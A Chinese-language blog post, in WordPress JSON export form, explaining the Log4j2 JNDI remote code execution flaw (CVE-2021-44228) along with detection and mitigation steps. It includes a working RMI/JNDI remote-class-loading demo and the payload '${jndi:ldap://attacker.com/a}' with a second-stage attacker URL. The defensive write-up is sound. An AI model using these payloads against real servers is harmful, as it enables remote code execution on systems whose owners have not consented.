{"id":45,"date":"2021-12-11T11:38:54","date_gmt":"2021-12-11T03:38:54","guid":{"rendered":"https:\/\/lmceric.top\/?p=45"},"modified":"2021-12-11T11:38:55","modified_gmt":"2021-12-11T03:38:55","slug":"apache-log4j-2-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e8%af%a6%e8%a7%a3","status":"publish","type":"post","link":"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/","title":{"rendered":"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3<\/h1>\n\n\n\n<p>2021\u5e7411\u670824\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u5411Apache\u5b98\u65b9\u62a5\u544a\u4e86Apache Log4j2\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u30022021\u5e7412\u670810\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u53d1\u73b0 Apache Log4j 2.15.0-rc1 \u7248\u672c\u5b58\u5728\u6f0f\u6d1e\u7ed5\u8fc7\uff0c\u8bf7\u53ca\u65f6\u66f4\u65b0\u81f3 Apache Log4j 2.15.0 \u6b63\u5f0f\u7248\u672c\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"542\" src=\"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png\" alt=\"\" class=\"wp-image-46\" srcset=\"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png 1000w, https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000-300x163.png 300w, https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000-768x416.png 768w, https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000-720x390.png 720w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/figure>\n\n\n\n<p>\u8d44\u6599\u6765\u6e90\uff1a<\/p>\n\n\n\n<p>\u963f\u91cc\u4e91\u6f0f\u6d1e\u9884\u8b66<\/p>\n\n\n\n<p>360\u5b89\u5168\u6f0f\u6d1e\u62a5\u544a<\/p>\n\n\n\n<p>\u817e\u8baf\u5b89\u5168<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">1.\u9884\u5907\u77e5\u8bc6<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1.1 Apache<\/h3>\n\n\n\n<p>Apache\u662f\u4e16\u754c\u4f7f\u7528\u6392\u540d\u7b2c\u4e00\u7684Web\u670d\u52a1\u5668\u8f6f\u4ef6\u3002\u5b83\u53ef\u4ee5\u8fd0\u884c\u5728\u51e0\u4e4e\u6240\u6709\u5e7f\u6cdb\u4f7f\u7528\u7684\u8ba1\u7b97\u673a\u5e73\u53f0\u4e0a\uff0c\u7531\u4e8e\u5176\u8de8\u5e73\u53f0\u548c\u5b89\u5168\u6027\u88ab\u5e7f\u6cdb\u4f7f\u7528\uff0c\u662f\u6700\u6d41\u884c\u7684Web\u670d\u52a1\u5668\u7aef\u8f6f\u4ef6\u4e4b\u4e00\u3002\u5b83\u5feb\u901f\u3001\u53ef\u9760\u5e76\u4e14\u53ef\u901a\u8fc7\u7b80\u5355\u7684API\u6269\u5145\uff0c\u5c06Perl\/Python\u7b49\u89e3\u91ca\u5668\u7f16\u8bd1\u5230\u670d\u52a1\u5668\u4e2d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.2 log4j<\/h3>\n\n\n\n<p>Log4j\u662fApache\u7684\u4e00\u4e2a\u5f00\u6e90\u9879\u76ee\uff0c\u901a\u8fc7\u4f7f\u7528Log4j\uff0c\u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u65e5\u5fd7\u4fe1\u606f\u8f93\u9001\u7684\u76ee\u7684\u5730\u662f\u63a7\u5236\u53f0\u3001\u6587\u4ef6\u3001GUI\u7ec4\u4ef6\uff0c\u751a\u81f3\u662f\u5957\u63a5\u53e3\u670d\u52a1\u5668\u3001NT\u7684\u4e8b\u4ef6\u8bb0\u5f55\u5668\u3001UNIX Syslog\u5b88\u62a4\u8fdb\u7a0b\u7b49\uff1b\u6211\u4eec\u4e5f\u53ef\u4ee5\u63a7\u5236\u6bcf\u4e00\u6761\u65e5\u5fd7\u7684\u8f93\u51fa\u683c\u5f0f\uff1b\u901a\u8fc7\u5b9a\u4e49\u6bcf\u4e00\u6761\u65e5\u5fd7\u4fe1\u606f\u7684\u7ea7\u522b\uff0c\u6211\u4eec\u80fd\u591f\u66f4\u52a0\u7ec6\u81f4\u5730\u63a7\u5236\u65e5\u5fd7\u7684\u751f\u6210\u8fc7\u7a0b\u3002\u6700\u4ee4\u4eba\u611f\u5174\u8da3\u7684\u5c31\u662f\uff0c\u8fd9\u4e9b\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6\u6765\u7075\u6d3b\u5730\u8fdb\u884c\u914d\u7f6e\uff0c\u800c\u4e0d\u9700\u8981\u4fee\u6539\u5e94\u7528\u7684\u4ee3\u7801\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.3 JNDI\u6ce8\u5165<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">1.3.1 JNDI<\/h4>\n\n\n\n<p>JNDI\uff08\u5168\u79f0<code>Java Naming and Directory Interface<\/code>\uff09\u662f\u7528\u4e8e\u76ee\u5f55\u670d\u52a1\u7684Java API\uff0c\u5b83\u5141\u8bb8Java\u5ba2\u6237\u7aef\u901a\u8fc7\u540d\u79f0\u53d1\u73b0\u548c\u67e5\u627e\u6570\u636e\u548c\u8d44\u6e90(\u4ee5Java\u5bf9\u8c61\u7684\u5f62\u5f0f)\u3002\u4e0e\u4e0e\u4e3b\u673a\u7cfb\u7edf\u63a5\u53e3\u7684\u6240\u6709Java api\u4e00\u6837\uff0cJNDI\u72ec\u7acb\u4e8e\u5e95\u5c42\u5b9e\u73b0\u3002\u6b64\u5916\uff0c\u5b83\u6307\u5b9a\u4e86\u4e00\u4e2a\u670d\u52a1\u63d0\u4f9b\u8005\u63a5\u53e3(SPI)\uff0c\u8be5\u63a5\u53e3\u5141\u8bb8\u5c06\u76ee\u5f55\u670d\u52a1\u5b9e\u73b0\u63d2\u5165\u5230\u6846\u67b6\u4e2d\u3002\u901a\u8fc7JNDI\u67e5\u8be2\u7684\u4fe1\u606f\u53ef\u80fd\u7531\u670d\u52a1\u5668\u3001\u6587\u4ef6\u6216\u6570\u636e\u5e93\u63d0\u4f9b\uff0c\u9009\u62e9\u53d6\u51b3\u4e8e\u6240\u4f7f\u7528\u7684\u5b9e\u73b0\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.3.2 JNDI\u6ce8\u5165<\/h4>\n\n\n\n<p><code>JNDI<\/code>\u6ce8\u5165\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5728<code>JNDI<\/code>\u63a5\u53e3\u5728\u521d\u59cb\u5316\u65f6\uff0c\u5982\uff1a<code>InitialContext.lookup(URI)<\/code>\uff0c\u5982\u679cURI\u53ef\u63a7\uff0c\u90a3\u4e48\u5ba2\u6237\u7aef\u5c31\u53ef\u80fd\u4f1a\u88ab\u653b\u51fb<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.3.3 RMI<\/h4>\n\n\n\n<p>\u901a\u8fc7RMI\u8fdb\u884cJNDI\u6ce8\u5165\uff0c\u653b\u51fb\u8005\u6784\u9020\u7684\u6076\u610fRMI\u670d\u52a1\u5668\u5411\u5ba2\u6237\u7aef\u8fd4\u56de\u4e00\u4e2a<code>Reference<\/code>\u5bf9\u8c61\uff0c<code>Reference<\/code>\u5bf9\u8c61\u4e2d\u6307\u5b9a\u4ece\u8fdc\u7a0b\u52a0\u8f7d\u6784\u9020\u7684\u6076\u610f<code>Factory<\/code>\u7c7b\uff0c\u5ba2\u6237\u7aef\u5728\u8fdb\u884c<code>lookup<\/code>\u7684\u65f6\u5019\uff0c\u4f1a\u4ece\u8fdc\u7a0b\u52a8\u6001\u52a0\u8f7d\u653b\u51fb\u8005\u6784\u9020\u7684\u6076\u610f<code>Factory<\/code>\u7c7b\u5e76\u5b9e\u4f8b\u5316\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u6784\u9020\u65b9\u6cd5\u6216\u8005\u662f\u9759\u6001\u4ee3\u7801\u7b49\u5730\u65b9\u52a0\u5165\u6076\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<p><code>javax.naming.Reference<\/code>\u6784\u9020\u65b9\u6cd5\u4e3a\uff1a<code>Reference(String className, String factory, String factoryLocation)<\/code>\uff0c<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><code>className<\/code> &#8211; \u8fdc\u7a0b\u52a0\u8f7d\u65f6\u6240\u4f7f\u7528\u7684\u7c7b\u540d<\/li><li><code>classFactory<\/code> &#8211; \u52a0\u8f7d\u7684<code>class<\/code>\u4e2d\u9700\u8981\u5b9e\u4f8b\u5316\u7c7b\u7684\u540d\u79f0<\/li><li><code>classFactoryLocation<\/code> &#8211; \u63d0\u4f9b<code>classes<\/code>\u6570\u636e\u7684\u5730\u5740\u53ef\u4ee5\u662f<code>file\/ftp\/http<\/code>\u7b49\u534f\u8bae<\/li><\/ol>\n\n\n\n<p>\u56e0\u4e3a<code>Reference<\/code>\u6ca1\u6709\u5b9e\u73b0<code>Remote<\/code>\u63a5\u53e3\u4e5f\u6ca1\u6709\u7ee7\u627f<code>UnicastRemoteObject<\/code>\u7c7b\uff0c\u6545\u4e0d\u80fd\u4f5c\u4e3a\u8fdc\u7a0b\u5bf9\u8c61bind\u5230\u6ce8\u518c\u4e2d\u5fc3\uff0c\u6240\u4ee5\u9700\u8981\u4f7f\u7528<code>ReferenceWrapper<\/code>\u5bf9<code>Reference<\/code>\u7684\u5b9e\u4f8b\u8fdb\u884c\u4e00\u4e2a\u5c01\u88c5\u3002<\/p>\n\n\n\n<p>\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">package demo;<br>\u200b<br>import com.sun.jndi.rmi.registry.ReferenceWrapper;<br>\u200b<br>import javax.naming.Reference;<br>import java.rmi.registry.LocateRegistry;<br>import java.rmi.registry.Registry;<br>\u200b<br>\u200b<br>public class RMIServer {<br>\u200b<br> &nbsp; &nbsp;public static void main(String[] args) throws Exception{<br> &nbsp; &nbsp; &nbsp; &nbsp;Registry registry= LocateRegistry.createRegistry(7777);<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;Reference reference = new Reference(\"test\", \"test\", \"http:\/\/localhost\/\");<br> &nbsp; &nbsp; &nbsp; &nbsp;ReferenceWrapper wrapper = new ReferenceWrapper(reference);<br> &nbsp; &nbsp; &nbsp; &nbsp;registry.bind(\"calc\", wrapper);<br>\u200b<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p>\u6076\u610f\u4ee3\u7801\uff08<code>test.class<\/code>\uff09\uff0c\u5c06\u5176\u7f16\u8bd1\u597d\u653e\u5230\u53ef\u8bbf\u95ee\u7684<code>http<\/code>\u670d\u52a1\u5668<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import java.lang.Runtime;<br>\u200b<br>public class test{<br> &nbsp; &nbsp;public test() throws Exception{<br> &nbsp; &nbsp; &nbsp; &nbsp;Runtime.getRuntime().exec(\"calc\");<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p>\u5f53\u5ba2\u6237\u7aef\u901a\u8fc7<code>InitialContext().lookup(\"rmi:\/\/127.0.0.1:7777\/calc\")<\/code>\u83b7\u53d6\u8fdc\u7a0b\u5bf9\u8c61\u65f6\uff0c\u4f1a\u6267\u884c\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">package demo;<br>\u200b<br>import javax.naming.InitialContext;<br>\u200b<br>public class JNDI_Test {<br> &nbsp; &nbsp;public static void main(String[] args) throws Exception{<br> &nbsp; &nbsp; &nbsp; &nbsp;new InitialContext().lookup(\"rmi:\/\/127.0.0.1:7777\/calc\");<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p>\u8c03\u7528\u6808\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)<br>getObjectInstance:319, NamingManager (javax.naming.spi)<br>decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)<br>lookup:120, RegistryContext (com.sun.jndi.rmi.registry)<br>lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)<br>lookup:411, InitialContext (javax.naming)<br>main:7, JNDI_Test (demo)<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">1.3.4 JNDI\u89e6\u53d1 Apache Log4j2<\/h4>\n\n\n\n<p>Apache Log4j2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u7684\u8be6\u7ec6\u4fe1\u606f\u5df2\u88ab\u62ab\u9732\uff0c\u800c\u7ecf\u8fc7\u5206\u6790\uff0c\u672c\u6b21 Apache Log4j \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u6b63\u662f\u7531\u4e8e\u7ec4\u4ef6\u5b58\u5728 Java JNDI \u6ce8\u5165\u6f0f\u6d1e\uff1a\u5f53\u7a0b\u5e8f\u5c06\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u8bb0\u5165\u65e5\u5fd7\u65f6\uff0c\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u8bf7\u6c42\uff0c\u6765\u89e6\u53d1 Apache Log4j2 \u4e2d\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u4ece\u800c\u5229\u7528\u6b64\u6f0f\u6d1e\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u653b\u51fb\u539f\u7406\uff1a\uff08\u6765\u6e90 <a href=\"https:\/\/www.zhihu.com\/question\/504998020\/answer\/2265112632\">https:\/\/www.zhihu.com\/question\/504998020\/answer\/2265112632<\/a>\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import org.apache.log4j.Logger;<br>import java.io.*;<br>import java.sql.SQLException;<br>import java.util.*;<br>public class VulnerableLog4jExampleHandler implements HttpHandler {<br> static Logger log = Logger.getLogger(log4jExample.class.getName());<br> \/**<br> &nbsp; * A simple HTTP endpoint that reads the request's User Agent and logs it back.<br> &nbsp; * This is basically pseudo-code to explain the vulnerability, and not a full example.<br> &nbsp; * @param he HTTP Request Object<br> &nbsp; *\/<br> public void handle(HttpExchange he) throws IOException {<br> &nbsp; &nbsp;string userAgent = he.getRequestHeader(\"user-agent\");<br> <br> \/\/ This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.<br> \/\/ The attacker can set their User-Agent header to: ${jndi:ldap:\/\/attacker.com\/a}<br> &nbsp; &nbsp;log.info(\"Request User Agent:\" + userAgent);<br> &nbsp; &nbsp;String response = \"&lt;h1&gt;Hello There, \" + userAgent + \"!&lt;\/h1&gt;\";<br> &nbsp; &nbsp;he.sendResponseHeaders(200, response.length());<br> &nbsp; &nbsp;OutputStream os = he.getResponseBody();<br> &nbsp; &nbsp;os.write(response.getBytes());<br> &nbsp; &nbsp;os.close();<br>  }<br>}<\/pre>\n\n\n\n<p>\u6839\u636e\u4e0a\u9762\u63d0\u4f9b\u7684\u653b\u51fb\u4ee3\u7801\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7<strong>JNDI<\/strong>\u6765\u6267\u884c<strong>LDAP<\/strong>\u534f\u8bae\u6765\u6ce8\u5165\u4e00\u4e9b\u975e\u6cd5\u7684\u53ef\u6267\u884c\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u653b\u51fb\u6b65\u9aa4<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u653b\u51fb\u8005\u5411\u6f0f\u6d1e\u670d\u52a1\u5668\u53d1\u8d77\u653b\u51fb\u8bf7\u6c42\u3002<\/li><li>\u670d\u52a1\u5668\u901a\u8fc7<strong>Log4j2<\/strong>\u8bb0\u5f55\u653b\u51fb\u8bf7\u6c42\u4e2d\u5305\u542b\u7684\u57fa\u4e8e<strong>JNDI<\/strong>\u548c<strong>LDAP<\/strong>\u7684\u6076\u610f\u8d1f\u8f7d<code>${jndi:ldap:\/\/attacker.com\/a}<\/code>\uff0c<code>attacker.com<\/code>\u662f\u653b\u51fb\u8005\u63a7\u5236\u7684\u5730\u5740\u3002<\/li><li>\u8bb0\u5f55\u7684\u6076\u610f<a href=\"https:\/\/www.zhihu.com\/search?q=\u8d1f\u8f7d&amp;search_source=Entity&amp;hybrid_search_source=Entity&amp;hybrid_search_extra={%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2265112632}\">\u8d1f\u8f7d<\/a>\u88ab\u89e6\u53d1\uff0c\u670d\u52a1\u5668\u901a\u8fc7<strong>JNDI<\/strong>\u5411<code>attacker.com<\/code>\u8bf7\u6c42\u3002<\/li><li><code>attacker.com<\/code>\u5c31\u53ef\u4ee5\u5728\u54cd\u5e94\u4e2d\u6dfb\u52a0\u4e00\u4e9b\u6076\u610f\u7684\u53ef\u6267\u884c\u811a\u672c\uff0c\u6ce8\u5165\u5230\u670d\u52a1\u5668\u8fdb\u7a0b\u4e2d\uff0c\u4f8b\u5982\u53ef\u6267\u884c\u7684\u5b57\u8282\u7801<code>http:\/\/second-stage.attacker.com\/Exploit.class<\/code>\u3002<\/li><li>\u653b\u51fb\u8005\u6267\u884c\u6076\u610f\u811a\u672c\u3002<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">2.\u6f0f\u6d1e\u5904\u7406<\/h2>\n\n\n\n<p><strong>\u6f0f\u6d1e\u8bc4\u7ea7<\/strong><\/p>\n\n\n\n<p>CVE-2021-44228 Apache Log4j \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e \u4e25\u91cd<\/p>\n\n\n\n<p><strong>\u5f71\u54cd\u7248\u672c<\/strong><\/p>\n\n\n\n<p>Apache Log4j 2.x &lt; 2.15.0<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.1 \u5185\u90e8\u81ea\u67e5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">2.1.1 \u9879\u76ee\u4f9d\u8d56\u7248\u672c\u68c0\u6d4b<\/h4>\n\n\n\n<p>\u68c0\u6d4bpom\u4f9d\u8d56\u7248\u672c\u662f\u5426\u4f4e\u4e8e 2.15.0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;dependencies&gt;<br>  &lt;dependency&gt;<br> &nbsp;  &lt;groupId&gt;org.apache.logging.log4j&lt;\/groupId&gt;<br> &nbsp;  &lt;artifactId&gt;log4j-api&lt;\/artifactId&gt;<br> &nbsp;  &lt;version&gt;2.15.0&lt;\/version&gt;<br>  &lt;\/dependency&gt;<br>  &lt;dependency&gt;<br> &nbsp;  &lt;groupId&gt;org.apache.logging.log4j&lt;\/groupId&gt;<br> &nbsp;  &lt;artifactId&gt;log4j-core&lt;\/artifactId&gt;<br> &nbsp;  &lt;version&gt;2.15.0&lt;\/version&gt;<br>  &lt;\/dependency&gt;<br>&lt;\/dependencies&gt;<\/pre>\n\n\n\n<p>\u68c0\u6d4bgradle\u4f9d\u8d56\u7248\u672c\u662f\u5426\u4f4e\u4e8e 2.15.0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">dependencies {<br>  compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'<br>  compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'<br>} <\/pre>\n\n\n\n<p>\u68c0\u6d4bIvy\u4f9d\u8d56\u7248\u672c\u662f\u5426\u4f4e\u4e8e 2.15.0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;dependencies&gt;<br>  &lt;dependency org=\"org.apache.logging.log4j\" name=\"log4j-api\" rev=\"2.15.0\" \/&gt;<br>  &lt;dependency org=\"org.apache.logging.log4j\" name=\"log4j-core\" rev=\"2.15.0\" \/&gt;<br>&lt;\/dependencies&gt;<\/pre>\n\n\n\n<p>\u68c0\u6d4bSBT\u4f9d\u8d56\u7248\u672c\u662f\u5426\u4f4e\u4e8e 2.15.0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">libraryDependencies += \"org.apache.logging.log4j\" % \"log4j-api\" % \"2.15.0\"<br>libraryDependencies += \"org.apache.logging.log4j\" % \"log4j-core\" % \"2.15.0\"<\/pre>\n\n\n\n<p>\u82e5\u6ca1\u6709\u4f7f\u7528\u4e0a\u8ff0\u5de5\u5177\uff0c\u90a3\u4e48\u53ef\u4ee5\u5168\u5c40\u641c\u7d22\u9879\u76ee\u4e2d\u662f\u5426\u5b58\u5728<code>log4j<\/code>\u7684\u76f8\u5173<code>jar<\/code>\u5305\uff0c\u5e76\u901a\u8fc7<code>jar<\/code>\u5305\u4e2d\u7684<code>\/META-INF\/MANIFEST.MF<\/code>\u6587\u4ef6\u67e5\u770b<code>log4j<\/code>\u7684\u7248\u672c\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">2.1.2 \u65e5\u5fd7\/\u6d41\u91cf\u6392\u67e5<\/h4>\n\n\n\n<p>\\1. \u6392\u67e5\u65e5\u5fd7\u6216\u8005\u89e3\u7801\u540e\u5b8c\u6574\u7684\u8bf7\u6c42\u6570\u636e\u5305\u4e2d\u662f\u5426\u5b58\u5728<code>${jndi:<\/code>\u5173\u952e\u5b57\u3002<\/p>\n\n\n\n<p>\\2. \u6392\u67e5\u65e5\u5fd7\u662f\u5426\u5b58\u5728\u76f8\u5173\u5806\u6808\u62a5\u9519\uff0c\u5806\u6808\u91cc\u662f\u5426\u6709<code>JndiLookup<\/code>\u3001<code>ldapURLContext<\/code>\u3001<code>getObjectFactoryFromReference<\/code>\u7b49\u4e0e jndi \u8c03\u7528\u76f8\u5173\u7684\u5806\u6808\u4fe1\u606f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.2 \u4fee\u590d<\/h3>\n\n\n\n<p>1\u3001\u6392\u67e5\u5e94\u7528\u662f\u5426\u5f15\u5165\u4e86Apache log4j-core Jar\u5305\uff0c\u82e5\u5b58\u5728\u4f9d\u8d56\u5f15\u5165\uff0c\u4e14\u5728\u53d7\u5f71\u54cd\u7248\u672c\u8303\u56f4\u5185\uff0c\u5219\u53ef\u80fd\u5b58\u5728\u6f0f\u6d1e\u5f71\u54cd\u3002\u8bf7\u5c3d\u5feb\u5347\u7ea7Apache Log4j2\u6240\u6709\u76f8\u5173\u5e94\u7528\u5230\u6700\u65b0\u7684 log4j-2.15.0 \u7248\u672c\uff0c\u5730\u5740 <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/download.html\">https:\/\/logging.apache.org\/log4j\/2.x\/download.html<\/a><\/p>\n\n\n\n<p>2\u3001\u5347\u7ea7\u5df2\u77e5\u53d7\u5f71\u54cd\u7684\u5e94\u7528\u53ca\u7ec4\u4ef6\uff0c\u5982 spring-boot-starter-log4j2\/Apache Struts2\/Apache Solr\/Apache Druid\/Apache Flink<\/p>\n\n\n\n<p>3\u3001\u4e34\u65f6\u7f13\u89e3\u65b9\u6848\u3002\u53ef\u5347\u7ea7jdk\u7248\u672c\u81f36u211 \/ 7u201 \/ 8u191 \/ 11.0.1\u4ee5\u4e0a\uff0c\u53ef\u4ee5\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u9650\u5236JNDI\u7b49\u6f0f\u6d1e\u5229\u7528\u65b9\u5f0f\u3002\u5bf9\u4e8e\u5927\u4e8e2.10\u7248\u672c\u7684Log4j\uff0c\u53ef\u8bbe\u7f6e log4j2.formatMsgNoLookups \u4e3a True\uff0c\u6216\u8005\u5c06 JndiLookup \u7c7b\u4ece classpath \u4e2d\u53bb\u9664\uff0c\u4f8b\u5982 zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">2.2.1\u901a\u7528\u4fee\u8865<\/h4>\n\n\n\n<p>\u5347\u7ea7\u5230\u6700\u65b0\u7248\u672c 2.15.0-rc2 \uff1a<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/apache\/logging-log4j2\/releases\/tag\/log4j-2.15.0-rc2\n<\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">2.2.2\u4e34\u65f6\u4fee\u8865\u5efa\u8bae<\/h4>\n\n\n\n<ol class=\"wp-block-list\"><li>\u8bbe\u7f6eJVM\u542f\u52a8\u53c2\u6570<code>-Dlog4j2.formatMsgNoLookups=true<\/code>\u3002<\/li><li>\u5c3d\u91cf\u4f7f\u7528JDK \u7248\u672c\u5927\u4e8e11.0.1\u30018u191\u30017u201\u30016u211\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5373\u4f7f\u662f\u4f7f\u7528\u4e86 JDK \u9ad8\u7248\u672c\u4e5f\u4e0d\u80fd\u5b8c\u5168\u4fdd\u8bc1\u5b89\u5168\uff0c\u4f9d\u7136\u5b58\u5728\u672c\u5730\u7ed5\u8fc7\u7684\u60c5\u51b5\u3002<\/li><li>\u9650\u5236\u4e0d\u5fc5\u8981\u7684\u4e1a\u52a1\u8bbf\u95ee\u5916\u7f51\u3002<\/li><li>\u91c7\u7528 rasp \u5bf9<code>lookup<\/code>\u7684\u8c03\u7528\u8fdb\u884c\u963b\u65ad\u3002<\/li><li>\u91c7\u7528 waf \u5bf9\u8bf7\u6c42\u6d41\u91cf\u4e2d\u7684<code>${jndi<\/code>\u8fdb\u884c\u62e6\u622a\u3002<\/li><\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/\">Continue reading<span class=\"screen-reader-text\">Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"spay_email":"","footnotes":""},"categories":[1],"tags":[16,6,7,17],"class_list":["post-45","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-web","tag-6","tag-7","tag-17","entry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3 - LMC\u7684\u4e2a\u4eba\u7ad9<\/title>\n<meta name=\"description\" content=\"2021\u5e7411\u670824\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u5411Apache\u5b98\u65b9\u62a5\u544a\u4e86Apache Log4j2\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u30022021\u5e7412\u670810\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u53d1\u73b0 Apache Log4j 2.15.0-rc1 \u7248\u672c\u5b58\u5728\u6f0f\u6d1e\u7ed5\u8fc7\uff0c\u8bf7\u53ca\u65f6\u66f4\u65b0\u81f3 Apache Log4j 2.15.0 \u6b63\u5f0f\u7248\u672c\u3002 %\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Apache Log4j 2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u8be6\u89e3 - LMC\u7684\u4e2a\u4eba\u7ad9\" \/>\n<meta property=\"og:url\" content=\"https:\/\/lmceric.top\/index.php\/2021\/12\/11\/45\/\" \/>\n<meta property=\"og:site_name\" content=\"LMC\u7684\u4e2a\u4eba\u7ad9\" \/>\n<meta property=\"article:published_time\" content=\"2021-12-11T03:38:54+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-12-11T03:38:55+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png\" \/>\n<meta name=\"author\" content=\"SimpleAstronaut\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"SimpleAstronaut\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 \u5206\" \/>\n<script type=\"application\/ld+json\" 